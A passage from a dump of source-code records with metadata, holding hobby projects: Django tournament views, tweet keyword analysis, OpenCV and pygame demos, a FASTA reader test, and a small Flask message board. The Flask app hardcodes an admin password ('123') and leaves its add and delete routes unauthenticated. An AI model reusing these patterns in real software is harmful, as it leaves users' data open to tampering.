int(list2[2]), int(list2[3])) # 设置图像裁剪区域\n img1 = img.crop(box1) # 图像裁剪\n aa=img1\n\n plt.imshow(aa)\n str3 = str(pytesseract.image_to_string(aa, lang='chi_sim'))\n str1 = str3.replace(' ', '')\n str4='识别结果:'+str1+' 匹配结果:'+match(str1, list1)+'\\n'\n list_result.append(str4)\n print('识别结果', 'demo', list_result)\n return list_result\n", "sub_path": "img_scan_2/img_scan_2/scan.py", "file_name": "scan.py", "file_ext": "py", "file_size_in_byte": 7454, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.count_nonzero", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 56, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 56, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 70, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 81, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 81, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 190, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 196, "usage_type": "call"}]} +{"seq_id": "355211343", "text": "# coding=utf-8\nfrom collections import deque\nfrom itertools import cycle\nimport math\nimport json\nfrom xml.dom import minidom\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Max\nfrom django.shortcuts import render_to_response, render, get_object_or_404\nfrom django.template import loader, Context\nfrom django.template.context import RequestContext\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect, HttpResponseNotFound, HttpResponseForbidden, HttpResponseBadRequest\nfrom django.template.defaulttags import firstof\nfrom django.views.decorators.http import require_POST\nfrom kickme.tournament.models import *\nfrom django.utils.translation import ugettext as _\nfrom social_auth.db.django_models import UserSocialAuth\nimport urllib2\nfrom django.utils import translation\nfrom kickme.tournament.forms import *\n\n\ndef ajax_required(f):\n \"\"\"\n AJAX request required decorator\n use it in your views:\n\n @ajax_required\n def my_view(request):\n ....\n\n \"\"\"\n\n def wrap(request, *args, **kwargs):\n if not request.is_ajax():\n return HttpResponseBadRequest()\n return f(request, *args, **kwargs)\n\n wrap.__doc__ = f.__doc__\n wrap.__name__ = f.__name__\n return wrap\n\n\ndef google(request):\n return HttpResponse('google-site-verification: googlecdc03dfda8ab335e.html')\n\n\ndef alexa(request):\n return HttpResponse(\"\"\"\n \n \n \n \n

Great! The file uploaded properly. Now click the 'Verify my file' button to\n complete the process.

\n \n\n\"\"\")\n\n\ndef yahoo(request):\n return HttpResponse('')\n\n\ndef mailru(request):\n return render_to_response('receiver.html', {}, context_instance=RequestContext(request))\n\n\ndef index(request):\n return render_to_response('index.html', {}, context_instance=RequestContext(request))\n\n\n@login_required\ndef settings_account(request):\n social_auth = UserSocialAuth.get_social_auth_for_user(request.user)\n social_auth = request.user.social_auth.all()\n available_auth = {\n 'facebook': 'Facebook',\n 'twitter': 'Twitter',\n 'vk-oauth': 'vkontakte',\n 'linkedin': 'LinkedIn',\n }\n screen_name = ''\n for auth in social_auth:\n # if auth.provider == 'twitter':\n # url = \"http://api.twitter.com/1/users/show.xml?user_id=\" + auth.uid\n # doc = urllib2.urlopen(url)\n # parsed = minidom.parse(doc)\n # screen_name = parsed.getElementsByTagName('screen_name')[0].firstChild.nodeValue\n if auth.provider in available_auth:\n del (available_auth[auth.provider])\n\n return render_to_response(\n 'settings/account.html',\n {\n 'social_auth': social_auth,\n 'available_auth': available_auth,\n 'screen_name': screen_name,\n },\n context_instance=RequestContext(request)\n )\n\n\n@login_required\ndef tournament_add(request, thash=None):\n tourn = None\n if thash:\n tourn = get_object_or_404(Tournament, thash=thash)\n form = TournamentForm(instance=tourn)\n else:\n form = TournamentForm()\n\n if request.method == 'POST':\n if thash:\n form = TournamentForm(request.POST, instance=tourn)\n else:\n form = TournamentForm(request.POST)\n\n if form.is_valid():\n tourn = form.save(commit=False)\n tourn.owner = request.user\n tourn.save()\n return HttpResponseRedirect(reverse('tourn_item', args=(tourn.thash, )))\n\n return render(request, 'tournaments/add.html', {\n 'form': form, 'tourn': tourn\n })\n\n\ndef tournament_item(request, thash):\n tourn = get_object_or_404(Tournament, thash=thash)\n ttypes = []\n sports = []\n for t in TOURNAMENT_TYPES:\n ttypes.append('{value: %s, text: \"%s\"}' % (t[0], t[1]))\n for s in Sport.objects.all():\n sports.append('{value: %s, text: \"%s\"}' % (s.id, s.name))\n return render_to_response(\n 'tournaments/tournament.html',\n dict(tourn=tourn, parts=tourn.tournamentparticipant_set.order_by('order').all(), ttypes=', '.join(ttypes), sports=', '.join(sports)),\n context_instance=RequestContext(request)\n )\n\n\ndef tournament_list(request):\n tourns = Tournament.objects.all()\n return render_to_response('tournaments/list.html', {'tourns': tourns}, context_instance=RequestContext(request))\n\n\ndef tournament_participants(request, thash):\n tourn = get_object_or_404(Tournament, thash=thash)\n\n if request.is_ajax():\n part_form = ParticipantForm(request.POST)\n if part_form.is_valid():\n tp = TournamentParticipant()\n tp.tournament = tourn\n # p = Participant.create(part_form.cleaned_data['name']).save()\n p = Participant()\n p.name = part_form.cleaned_data['name']\n p.save()\n tp.participant = p\n max_order = tourn.tournamentparticipant_set.aggregate(Max('order'))\n tp.order = max_order['order__max'] + 1 if max_order['order__max'] else 0\n tp.save()\n return HttpResponse(json.dumps({\n 'status': 'success',\n 'html': loader.get_template('tournaments/participant.html').render(Context({'part': tp}))\n }))\n else:\n return HttpResponse(json.dumps({'status': 'error', 'errors': part_form.errors}))\n\n part_form = ParticipantForm()\n empty_part = tourn.npart - tourn.tournamentparticipant_set.order_by('order').all().count()\n return render_to_response(\n 'tournaments/participants.html',\n {\n 'tourn': tourn,\n 'part_form': part_form,\n 'parts': tourn.tournamentparticipant_set.order_by('order').all(),\n 'empty_part': empty_part\n },\n context_instance=RequestContext(request)\n )\n\n\n@require_POST\n@ajax_required\ndef part_save_order(request, thash):\n tourn = get_object_or_404(Tournament, thash=thash)\n # check ownership\n if request.user.id != tourn.owner_id:\n raise HttpResponseForbidden\n\n # get order from request\n order = request.POST['order'] if 'order' in request.POST else None\n if order:\n oo = order.split(',')\n # set order for participants\n for i in range(len(oo)):\n try:\n part = TournamentParticipant.objects.get(pk=oo[i])\n part.order = i\n part.save()\n except: #DoesNotExist\n pass\n\n return HttpResponse(json.dumps({\n 'status': 'success',\n 'html': 'Order saved: %s' % order\n }))\n else:\n return HttpResponse(json.dumps({'status': 'error'}))\n\n\n@require_POST\n@ajax_required\ndef part_delete(request, thash):\n tourn = get_object_or_404(Tournament, thash=thash)\n # check ownership\n if request.user.id != tourn.owner_id:\n raise HttpResponseForbidden\n\n # get part_id from request\n part_id = request.POST['part_id'] if 'part_id' in request.POST else None\n if part_id:\n part = TournamentParticipant.objects.get(pk=part_id)\n if not part:\n return HttpResponseNotFound\n if part.tournament_id != tourn.id:\n return HttpResponseForbidden\n part.delete()\n\n return HttpResponse(json.dumps({\n 'status': 'success',\n 'html': 'Participant deleted, id was: %d' % int(part_id)\n }))\n else:\n return HttpResponse(json.dumps({'status': 'error'}))\n\n\nclass Cell:\n empty = True\n part1 = ''\n part2 = ''\n css = ''\n txt = ''\n ctype = ''\n style = ''\n\n def __init__(self, txt='', css='', ctype='', style=''):\n self.css = css\n self.txt = txt\n self.ctype = ctype\n self.style = style\n\n def empty(self):\n return not (self.css or self.txt or self.part1 or self.part2)\n\n def __unicode__(self):\n if self.part1 or self.part2:\n if self.part1 and self.part2:\n return _(\"%(part_1)s vs. %(part_2)s\") % (self.part1, self.part2)\n else:\n return _(u\"%s vs. пусто\") % (self.part1 if self.part1 else self.part2)\n else:\n return self.txt\n\n\ndef grid_gen(num, names=[]):\n names = deque(names)\n rounds = int(math.ceil(math.log(num, 2)))\n num2 = int(math.pow(2, rounds))\n width = 2 * rounds - 1\n height = num2 - 1\n grid = []\n a = (u'├', u'┘', u'┐', u'│')\n for y in range(height):\n grid.append(range(y * width + 1, width + y * width + 1))\n\n for y in range(num2 - 1):\n # this one piece of code set participant numbers like (1, 2) or (16, 32)\n if y % 2 == 0:\n c = Cell(ctype='part')\n # if y + 1 <= num:\n c.part1 = names.popleft() if names.__len__() > 0 else 'пусто' #;partn +=1 # y + 1\n # if y + 2 <= num:\n c.part2 = names.popleft() if names.__len__() > 0 else 'пусто' # partn;partn +=1 # y + 2\n # first column\n # print c.part1.participant.name if isinstance(c.part1, TournamentParticipant) else 'no' #, c.part2.participant.name, c.part1.participant_id, c.part2.participant_id\n grid[y][0] = c\n # grid[y][0] = y + 1 if y + 1 <= num else None, y + 2 if y + 2 <= num else Cell()\n for r in range(2, width, 2):\n grid[y][r] = Cell() #empty\n else:\n for r in range(0, width, 2):\n i = r / 2\n if y % math.pow(2, i + 1) == (math.pow(2, i) - 1):\n c = Cell(ctype='part')\n c.part1 = y + 1\n c.part2 = int(y + math.pow(2, i) + 1)\n # other columns\n grid[y][r] = c\n else:\n grid[y][r] = Cell()\n # grid[y][r] = (y + 1, int(y + math.pow(2, i) + 1)) if y % math.pow(2, i + 1) == (math.pow(2, i) - 1) else Cell()\n\n # this one places fork like a letter T on the left side\n for r in range(1, width, 2):\n i = (r + 1) / 2\n grid[y][r] = Cell(a[0], 'color: red;') if (y % math.pow(2, i + 1) == math.pow(2, i) - 1) else Cell()\n\n # this one places upper or down corner\n for r in range(1, width, 2):\n i = (r - 1) / 2\n if y % math.pow(2, i + 1) == math.pow(2, i) - 1:\n grid[y][r] = Cell(a[2], 'color: red;') if (y % math.pow(2, i + 2) == math.pow(2, i) - 1) else Cell(a[1], 'color: red;')\n\n # this piece of code creates part of arrows |\n for r in range(3, width, 2):\n i = (r - 1) / 2\n if y % math.pow(2, i + 2) != (math.pow(2, i + 1) - 1) and (math.pow(2, i) - 1) < y % math.pow(2, i + 2) < (math.pow(2, i + 2) - math.pow(2, i) - 1):\n grid[y][r] = Cell(a[3], 'color: red;')\n return grid, width\n\n\ndef tournament_template(request, *args):\n num = int(args[0]) if len(args) == 1 else 8\n if num < 3:\n raise Http404\n # number of players\n grid, width = grid_gen(num)\n\n return render_to_response('tournaments/standing.html', {'width': width, 'grid': grid}, context_instance=RequestContext(request))\n\n\ndef information(request, thash=None):\n tourn = get_object_or_404(Tournament, thash=thash)\n return render_to_response(\"tournaments/info.html\", locals(), RequestContext(request))\n\n\ndef results(request, thash):\n tourn = get_object_or_404(Tournament, thash=thash)\n parts = tourn.tournamentparticipant_set.order_by('order').all()\n names = []\n\n for p in parts:\n names.append(p)\n grid, width = grid_gen(tourn.npart + 1, names)\n\n parts_js = []\n for p in parts: #tourn.tournamentparticipant_set.order_by('participant__name').all():\n parts_js.append('{value: %s, text: \"%s\"}' % (p.id, p.participant.name))\n parts_js=', '.join(parts_js)\n\n return render_to_response(\"tournaments/standing2.html\", locals(), RequestContext(request))\n\n\ndef profile(request):\n return None", "sub_path": "kickme/tournament/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 12175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.http.HttpResponseBadRequest", "line_number": 38, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 64, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 68, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 68, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 72, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 72, "usage_type": "call"}, {"api_name": "social_auth.db.django_models", "line_number": 77, "usage_type": "name"}, {"api_name": "social_auth.db.django_models.UserSocialAuth.get_social_auth_for_user", "line_number": 77, "usage_type": "call"}, {"api_name": "social_auth.db.django_models.UserSocialAuth", "line_number": 77, "usage_type": "name"}, {"api_name": "social_auth.db.django_models", "line_number": 78, "usage_type": "name"}, {"api_name": "social_auth.db.django_models", "line_number": 86, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 95, "usage_type": "call"}, {"api_name": "social_auth.db.django_models", "line_number": 98, "usage_type": "name"}, {"api_name": "django.template.context.RequestContext", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 75, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 110, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 125, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 125, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 127, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 106, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 133, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 140, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 143, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 149, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 149, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 153, "usage_type": "call"}, {"api_name": "django.db.models.Max", "line_number": 165, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 168, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 168, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 170, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 170, "usage_type": "name"}, {"api_name": "django.template.Context", "line_number": 170, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 173, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 173, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 177, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 185, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 192, "usage_type": "call"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 195, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 210, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 210, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 215, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 215, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 189, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 221, "usage_type": "call"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 224, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 231, "usage_type": "name"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 233, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 236, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 236, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 241, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 241, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 218, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 265, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 267, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 273, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 274, "usage_type": "call"}, {"api_name": "math.log", "line_number": 274, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 275, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 300, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 303, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 313, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 318, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 319, "usage_type": "call"}, {"api_name": "math.pow", "line_number": 324, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 332, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 336, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 336, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 340, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 341, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 341, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 345, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 358, "usage_type": "call"}, {"api_name": "django.template.context.RequestContext", "line_number": 358, "usage_type": "call"}]} +{"seq_id": "347656205", "text": "import json\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport re\n\ntweets_data_path = '1_18.txt'\ntweets_data = []\ntweets_file = open(tweets_data_path, \"r\")\n\nfor line in tweets_file:\n try:\n tweet = json.loads(line)\n tweets_data.append(tweet)\n except:\n continue\n\ntweets = pd.DataFrame()\ntweets['text'] = [tweet.get('text','') for tweet in tweets_data]\ntweets['lang'] = [tweet.get('lang','') for tweet in tweets_data]\n#for i in tweets['text']:\n#if tweet['place'] == None:\n # tweets['country'] = None\n#else:\n # tweets['country'] = [tweet['place'].get('country', '') for tweet in tweets_data]\n#else: None\n #else:\n # tweets['country'][i]= [tweet['place'][i].get('country', '') for tweet in tweets_data]\ntweets['time'] = [tweet.get('created_at','') for tweet in tweets_data]\n#tweets['user'] = [tweet.get('screen_name', '') for tweet in tweets_data]\n#tweets['user_id'] = [tweet.get('id', '') for tweet in tweets_data]\n#tweets['user_followers'] = [tweet.get('followers_count', '') for tweet in tweets_data]\n\n#print tweets['lang'].value_counts()\n\n\n# fig, ax = plt.subplots()\n# ax.tick_params(axis='x', labelsize=15)\n# ax.tick_params(axis='y', labelsize=10)\n# ax.set_xlabel('Languages', fontsize=15)\n# ax.set_ylabel('Number of tweets' , fontsize=15)\n# ax.set_title('Top 5 languages', fontsize=15, fontweight='bold')\n# tweets_by_lang[:5].plot(ax=ax, kind='bar', color='red')\n# plt.show()\n\ndef word_in_text(word, text):\n word = word.lower()\n text = text.lower()\n match = re.search(word, text)\n if match:\n return True\n return False\n\n\ntweets['corn'] = tweets['text'].apply(lambda tweet: word_in_text('corn', tweet))\ntweets['soybean'] = tweets['text'].apply(lambda tweet: word_in_text('soybean', tweet))\ntweets['wheat'] = tweets['text'].apply(lambda tweet: word_in_text('wheat', tweet))\n\n#print tweets['corn'].value_counts()[True]\n#print tweets['soybean'].value_counts()[True]\n#print tweets['wheat'].value_counts()[True]\n\ndef extract_link(text):\n regex = r'https?://[^\\s<>\"]+|www\\.[^\\s<>\"]+'\n match = re.search(regex, text)\n if match:\n return match.group()\n return ''\n\n\ntweets['link'] = tweets['text'].apply(lambda tweet: extract_link(tweet))\n\ntweets_soybean = tweets[tweets['soybean'] == True]\ntweets_soybean_with_link = tweets_soybean[tweets_soybean['link'] != '']\ntweets_corn = tweets[tweets['corn'] == True]\ntweets_corn_with_link = tweets_corn[tweets_corn['link'] != '']\ntweets_wheat = tweets[tweets['wheat'] == True]\ntweets_wheat_with_link = tweets_wheat[tweets_wheat['link'] != '']\n\ntweets_with_link = {'soybean': tweets_soybean_with_link,\n 'corn': tweets_corn_with_link,\n 'wheat': tweets_wheat_with_link}\n\n#print tweets_with_link['corn'][-5:]['link']\n\n#tweets.to_pickle('tweets.txt')\n#tweets.to_excel('path_to_file.xlsx', sheet_name='Sheet1')\n\n#from pandas import ExcelWriter\n#writer = ExcelWriter('output.xlsx')\n#tweets.to_excel(writer,'Sheet1')\n#df2.to_excel(writer,'Sheet2')\n#writer.save()\n\n", "sub_path": "granstweets4.py", "file_name": "granstweets4.py", "file_ext": "py", "file_size_in_byte": 3012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 17, "usage_type": "call"}, {"api_name": "re.search", "line_number": 48, "usage_type": "call"}, {"api_name": "re.search", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "104589461", "text": "import numpy as np \r\nimport cv2\r\n\r\n#Displaying a circle.\r\npic=np.zeros((500,500,3),dtype='uint8')\r\ncolor=(255,0,255)\r\ncv2.circle(pic,(250,250),50,color)\r\ncv2.imshow('dark',pic)\r\ncv2.waitKey(5000)\r\ncv2.destroyAllWindows()\r\n", "sub_path": "circle.py", "file_name": "circle.py", "file_ext": "py", "file_size_in_byte": 222, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.zeros", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "431145463", "text": "import pygame\nfrom random import randint\nimport misc\n\n# List of the [x, y] coordinates of existing holes\nhole_locations = []\n\n\nclass Hole(pygame.sprite.Sprite):\n \"\"\"\n Holes: The ants portal to the underworld\n \"\"\"\n def __init__(self, at_mouse=False):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(\"images/hole01a.png\")\n self.rect = self.image.get_rect()\n if at_mouse: # Add hole at mouse location\n pos = misc.get_mouse_loc()\n # Set new top left coordinates\n self.rect.x, self.rect.y = pos[0] - 30, pos[1] - 30\n else:\n self.rect.x, self.rect.y = get_valid_hole_location()\n global hole_locations\n # Add new coordinates to list\n hole_locations.append([self.rect.x, self.rect.y])\n\n\ndef get_valid_hole_location():\n \"\"\"\n Run through hole_locations in search for a new valid hole location\n :return: The valid x and y coordinates\n \"\"\"\n valid_location = False # First assume the location is not valid\n x = 0\n y = 0\n\n while not valid_location: # Loop while coordinates not valid\n # Count to check the new hole is valid for all existing holes\n valid_count = 0\n x = randint(1, 838) # Generate random x\n y = randint(1, 538) # And random y\n for hole_loc in hole_locations: # For each hole\n # If new hole is to the left of, or above the existing hole\n if x < hole_loc[0] - 61 or y < hole_loc[1] - 61:\n valid_count += 1\n # Else if new hole doesn't overlap existing hole\n elif not (x < hole_loc[0] + 61 and y < hole_loc[1] + 61):\n valid_count += 1\n # If coordinates are valid for every existing hole\n if valid_count == len(hole_locations):\n valid_location = True\n return x, y # Return coordinates x and y\n", "sub_path": "ants/classes/hole_class.py", "file_name": "hole_class.py", "file_ext": "py", "file_size_in_byte": 1890, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.sprite", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 15, "usage_type": "attribute"}, {"api_name": "misc.get_mouse_loc", "line_number": 18, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "318100191", "text": "#!/usr/bin/env python\n# coding=utf-8\n\nimport io\nimport unittest\n\nfrom src.fasta_reader import FastaReader\n\n\nclass TestFastaReader(unittest.TestCase):\n def setUp(self):\n self.reader = FastaReader()\n\n def test_read(self):\n no_line_breaks = io.BytesIO('>seq_1\\nGATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACA\\n' +\n '>seq_2\\nNNNNNNNNGATTACAGATTACAGATTACANNNNNNNNNNN')\n line_breaks = io.BytesIO('>seq_1\\nGATTACAGATTACAGATTACAGATTACA\\nGATTACAGATTACAGATTACAGATTACA\\n' +\n '>seq_2\\nNNNNNNNNGATTACAGATTACAGATTAC\\nANNNNNNNNNNN')\n\n self.reader.read(no_line_breaks)\n self.assertEquals(2, len(self.reader.seqs))\n self.assertEquals('seq_1', self.reader.seqs[0].header)\n self.assertEquals('GATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACAGATTACA', self.reader.seqs[0].bases)\n self.assertEquals('seq_2', self.reader.seqs[1].header)\n self.assertEquals('NNNNNNNNGATTACAGATTACAGATTACANNNNNNNNNNN', self.reader.seqs[1].bases)\n self.reader.read(line_breaks)\n self.assertEquals(4, len(self.reader.seqs))\n self.assertEquals('NNNNNNNNGATTACAGATTACAGATTACANNNNNNNNNNN', self.reader.seqs[3].bases)\n\n\ndef suite():\n _suite = unittest.TestSuite()\n _suite.addTest(unittest.makeSuite(TestFastaReader))\n return _suite\n\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "test/fasta_reader_tests.py", "file_name": "fasta_reader_tests.py", "file_ext": "py", "file_size_in_byte": 1410, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "src.fasta_reader.FastaReader", "line_number": 12, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 15, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 17, "usage_type": "call"}, {"api_name": "unittest.TestSuite", "line_number": 32, "usage_type": "call"}, {"api_name": "unittest.makeSuite", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "440569322", "text": "import time\nfrom flask import Flask, redirect, url_for, request, jsonify, render_template, session\nfrom models import * \nfrom app import *\n\ndef login_required(f):\n\t@wraps(f)\n\tdef wrap(*args, **kwargs):\n\t\tif 'is_admin' in session:\n\t\t\treturn f(*args, **kwargs)\n\t\telse:\n\t\t\treturn redirect(url_for('login'))\n\treturn wrap\n\n@app.route('/admin')\n@login_required\ndef admin():\n\ttab = 'admin'\n\treturn render_template('admin.html')\n\n@app.route('/messages')\ndef send_data():\n\tdata = get_msgs()\n\treturn json.dumps(data)\n\n@app.route('/addMsg', methods = [ 'POST'])\ndef addMsg():\n\t\n\tif request.method=='POST':\n\t\tif request.form['msg']!='':\n\t\t\tmsg = request.form['msg']\n\t\t\tinsert_msg(msg)\n\n\tlists = get_msgs()\n\treturn json.dumps(lists)\n\n\n@app.route(\"/\",methods = ['GET', 'POST'])\ndef home():\n\ttab = 'home'\n\treturn render_template(\"home.html\")\n\n@app.route('/about')\ndef about():\n\treturn render_template('about.html')\n\n\n@app.route('/delete/')\ndef delete_message(id):\n\t\n\tif request.method=='GET':\n\t\tdelete_msg(id)\n\n\tdata1 = get_msgs()\n\treturn json.dumps(data1)\n\n@app.route(\"/login\", methods=['GET','POST'])\ndef login():\n\terror=None\n\tif request.method=='POST':\n\t\tif request.form['username']!='admin' or request.form['pwd']!='123':\n\t\t\terror='Invalid credentials. Please try again!'\n\t\telse:\n\t\t\tsession['is_admin'] = True \n\t\t\treturn redirect(url_for('admin'))\n\treturn render_template(\"login.html\", error=error)\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n\tsession.pop('is_admin', None)\n\treturn redirect(url_for('home'))", "sub_path": "views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1511, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.session", "line_number": 9, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "app.route", "line_number": 15, "usage_type": "call"}, {"api_name": "app.route", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": 